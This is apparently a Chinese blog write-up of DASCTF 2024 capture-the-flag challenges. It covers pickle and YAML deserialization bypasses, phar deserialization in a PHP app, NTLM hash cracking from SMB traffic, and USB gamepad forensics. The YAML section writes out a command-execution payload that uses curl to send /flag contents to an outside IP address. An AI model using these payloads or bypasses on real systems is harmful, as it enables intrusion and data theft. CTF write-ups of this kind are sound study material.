DASCTF 2024最后一战|寒夜破晓,冬至终章 web
冲冲冲
web
const_python
Pickle反序列化
1 | import builtins |
虽然有其他路由,但是在/ppicklee处没有session的验证,自然不用管了
那么直接考虑黑名单绕过
我这里直接考虑curl外带出去,base被禁用导致只能取第一个空格前的字符,直接cat${IFS}/flag即可,
1 | import pickle |

yaml_matser
1 | import os |
构造yaml文件想办法执行命令,但是常规的装饰器函数都被ban了
尝试通过混淆绕过
1 | exp = '__import__("os").system("curl http://45.207.197.131")' |
发现能直接成功出网
改个命令执行部分带出flag即可
1 | exp = '__import__("os").system("curl http://45.207.197.131/`cat${IFS}/flag`")' |
strange_php
我的朋友w36作为一名传奇的web手,在刚入门的时候写了个php应用,不过好像有点问题。
启动需要一点时间,请耐心等待。
welcome.php
跟进writeMessage
删除
跟进deleteMessage
unlink可以触发phar,因此考虑打phar反序列化,且输入的内容可控
总结phar的几个特征函数
1 | file_get_contents(): 读取 PHAR 文件内容并触发反序列化。 |
往上翻
__set魔术方法,如果filepath可控那么可以任意文件读取
__set
方法会在你对一个 不存在 或 不可访问的属性赋值时 自动触发。
将 PDO::ATTR_DEFAULT_FETCH_MODE
设置为 262152(即 PDO::FETCH_CLASS
),就可以将结果的第一列作为类名,新建一个实例,那么在初始化时就会触发__set
然后我们找入口,也就是调用这里的部分
misc
也来看看公大的取证题
弹道偏下
加密的smb流量
1 | E:\小工具\NTLMRawUnHide-master>python NTLMRawUnHide.py -i C:\Users\31702\Downloads\DAS12-_71b5b39da9efcf486ef6af5d646ef215\tempdir\MISC附件\secret\secret.pcapng -o ./1.txt |
1-8位爆破
1 | hashcat.exe -m 5600 -a 3 --force 1.txt -1 ?l?u?d --increment --increment-min=1 ?1?1?1?1?1?1?1?1 |
结果是八位纯数字
解密
解密后发现smb传输的文件,导出
明显的reverse
创个好的对比一下
补头
密码就是之前的密码
1z_F0r3ns1cs_1
这题没什么好写的感觉
三体挂载vc纯脑洞
其他的都不难
手把天尊
1 | tshark -r .\13.pcapng -T fields -e usb.capdata > 13.txt |
去空行
1 | def remove_blank_lines(input_file, output_file): |
很明显就是拿手柄画了个flag,只是比赛的时候不知道xy轴怎么算
抄官方wp
1 | # 解析手柄数据包 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yiyi!
评论